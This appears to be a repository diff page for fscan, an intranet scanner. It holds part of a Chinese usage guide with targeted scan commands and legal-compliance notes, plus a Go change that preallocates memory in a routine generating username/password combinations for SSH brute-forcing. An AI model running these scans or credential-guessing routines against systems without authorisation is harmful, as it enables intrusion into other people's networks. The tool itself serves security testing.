|
# 静默模式仅保存结果
|
||||||
|
fscan.exe -h target -silent -o results.txt
|
||||||
|
|
||||||
|
# 详细日志调试
|
||||||
|
fscan.exe -h target -log ALL -sp
|
||||||
|
```
|
||||||
|
|
||||||
|
### 🎯 针对性扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Web应用专项
|
||||||
|
fscan.exe -u http://target -full -cookie "session=xxx"
|
||||||
|
|
||||||
|
# 数据库专项
|
||||||
|
fscan.exe -h target -p 1433,3306,5432,6379 -fingerprint
|
||||||
|
|
||||||
|
# Windows主机专项
|
||||||
|
fscan.exe -h target -p 135,139,445,3389 -domain COMPANY
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ 注意事项
|
||||||
|
|
||||||
|
1. **性能调优**:
|
||||||
|
- 内网扫描可使用 `-t 1000` 提高速度
|
||||||
|
- 互联网扫描建议 `-t 100` 避免被限制
|
||||||
|
|
||||||
|
2. **权限要求**:
|
||||||
|
- ICMP需要管理员权限
|
||||||
|
- 某些端口扫描可能需要提升权限
|
||||||
|
|
||||||
|
3. **网络环境**:
|
||||||
|
- 防火墙可能影响扫描结果
|
||||||
|
- 代理环境下注意配置 `-proxy` 或 `-socks5`
|
||||||
|
|
||||||
|
4. **法律合规**:
|
||||||
|
- 仅在授权环境下使用
|
||||||
|
- 遵守相关法律法规
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**📞 技术支持**: [https://fscan.club](https://fscan.club)
|
||||||
|
**🐛 问题反馈**: [GitHub Issues](https://github.com/shadow1ng/fscan/issues)
|
@ -145,7 +145,10 @@ func attemptKeyAuth(info *common.HostInfo, username, keyPath string, timeoutSeco
|
|||||||
|
|
||||||
// generateCredentials 生成所有用户名密码组合
|
// generateCredentials 生成所有用户名密码组合
|
||||||
func generateCredentials(users, passwords []string) []SshCredential {
|
func generateCredentials(users, passwords []string) []SshCredential {
|
||||||
var credentials []SshCredential
|
// 预分配切片容量,避免频繁重新分配
|
||||||
|
totalCredentials := len(users) * len(passwords)
|
||||||
|
credentials := make([]SshCredential, 0, totalCredentials)
|
||||||
|
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
for _, pass := range passwords {
|
for _, pass := range passwords {
|
||||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Loading…
Reference in New Issue
Block a user